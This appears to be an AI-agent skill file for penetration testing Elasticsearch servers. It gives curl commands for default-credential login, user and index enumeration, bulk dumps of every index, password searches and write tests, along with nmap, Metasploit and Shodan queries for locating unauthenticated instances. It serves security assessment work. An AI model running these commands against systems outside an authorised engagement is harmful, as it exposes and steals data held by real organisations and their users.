Elasticsearch Pentesting Skill

A skill for enumerating and testing Elasticsearch instances during security assessments.

When to Use This Skill

Use this skill when:

• You need to enumerate an Elasticsearch instance (port 9200)
• You want to check if authentication is enabled
• You need to list indices or dump documents
• You're testing write permissions on an Elasticsearch server
• The user mentions "Elasticsearch", "elastic", "ELK stack", "port 9200", or similar terms

Quick Start

# Basic banner check
curl -X GET "http://TARGET:9200/"

# Check if authentication is disabled
curl -X GET "http://TARGET:9200/_xpack/security/user"

# List all indices
curl -X GET "http://TARGET:9200/_cat/indices?v"

Authentication Testing

Check if Auth is Disabled

By default, Elasticsearch doesn't have authentication enabled. Test this:

curl -X GET "http://TARGET:9200/_xpack/security/user"

Response indicating NO auth:

{"error":{"root_cause":[{"type":"exception","reason":"Security must be explicitly enabled..."}]},"status":500}

Response indicating auth IS enabled:

{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials..."}]},"status":401}

Default Credentials to Try

If authentication is enabled, try these default credentials:

curl -X GET "http://elastic:changeme@TARGET:9200/"

Enumeration

List All Available Endpoints

# Get all _cat endpoints
curl -X GET "http://TARGET:9200/_cat"

# Get cluster info
curl -X GET "http://TARGET:9200/_cluster/health"
curl -X GET "http://TARGET:9200/_cluster/settings"
curl -X GET "http://TARGET:9200/_cluster/state"

User and Role Enumeration

# List all users
curl -X GET "http://TARGET:9200/_security/user"

# List all roles
curl -X GET "http://TARGET:9200/_security/role"

# Get specific user info
curl -X GET "http://TARGET:9200/_security/user/USERNAME"

Index Enumeration

# List all indices with details
curl -X GET "http://TARGET:9200/_cat/indices?v"

# Get index mapping/schema
curl -X GET "http://TARGET:9200/INDEX_NAME"

# Get index settings
curl -X GET "http://TARGET:9200/INDEX_NAME/_settings"

Data Extraction

Dump All Documents from an Index

# Default returns 10 documents
curl -X GET "http://TARGET:9200/INDEX_NAME/_search?pretty=true"

# Dump all documents (adjust size as needed)
curl -X GET "http://TARGET:9200/INDEX_NAME/_search?pretty=true&size=10000"

Dump All Documents from All Indices

curl -X GET "http://TARGET:9200/_search?pretty=true&size=10000"

Search for Specific Content

# Search all indices
curl -X GET "http://TARGET:9200/_search?pretty=true&q=SEARCH_TERM"

# Search specific index
curl -X GET "http://TARGET:9200/INDEX_NAME/_search?pretty=true&q=SEARCH_TERM"

# Search with regex
curl -X GET "http://TARGET:9200/_search?pretty=true&q=.*password.*"

Write Permission Testing

Create a Test Document

curl -X POST "http://TARGET:9200/testindex/testtype" -H "Content-Type: application/json" -d'
{
  "testId": "PENTEST-001",
  "author": "Pentester",
  "timestamp": "'$(date -Iseconds)'",
  "note": "Testing write permissions"
}'

Verify Write Access

# Check if test index was created
curl -X GET "http://TARGET:9200/_cat/indices?v" | grep testindex

# Read back the document
curl -X GET "http://TARGET:9200/testindex/testtype/PENTEST-001?pretty=true"

Cleanup Test Data

# Delete test index
curl -X DELETE "http://TARGET:9200/testindex"

Useful Endpoints Reference

/_cat/indices

/_cat/nodes

/_cat/shards

/_cat/health

/_cat/repositories

/_cat/plugins

/_cat/aliases

/_cluster/health

/_cluster/settings

/_nodes/stats

/_security/user

/_security/role

/_search

Automated Tools

Nmap NSE Scripts

# Using nmap-elasticsearch-nse
nmap --script elasticsearch-info -p 9200 TARGET
nmap --script elasticsearch-indices -p 9200 TARGET

Metasploit

msfconsole
use auxiliary/scanner/elasticsearch/indices_enum
set RHOSTS TARGET
run

Horuz (Fuzzing)

# https://github.com/misalabs/horuz
horuz -t TARGET -p 9200

Shodan Queries

# Find Elasticsearch instances
port:9200 elasticsearch

# Find unauthenticated instances
port:9200 elasticsearch "You know, for search"

# Find specific versions
port:9200 elasticsearch "version.number":"7."

Common Vulnerabilities to Check

1. No Authentication - Default installations often have no auth
2. Default Credentials -

   elastic:changeme

   is common
3. Cross-Site Scripting (XSS) - In Kibana dashboards
4. Remote Code Execution - Via Groovy scripts in older versions
5. Privilege Escalation - Weak role configurations
6. Data Exposure - Sensitive data in indices
7. Write Access - Ability to inject malicious documents

Workflow Summary

1. Reconnaissance - Check banner, version, and authentication status
2. Enumeration - List indices, users, roles, and cluster info
3. Data Extraction - Dump documents from indices
4. Write Testing - Attempt to create/modify documents
5. Privilege Escalation - Test for superuser access
6. Cleanup - Remove any test data created

Notes

• Elasticsearch uses HTTP/HTTPS (default port 9200)
• Documents are stored as JSON
• Default result limit is 10 documents per query
• Use

  size

  parameter to increase result count
• Some endpoints require authentication
• Always clean up test data after testing
• Be careful with production systems - read operations are safe, write operations can cause issues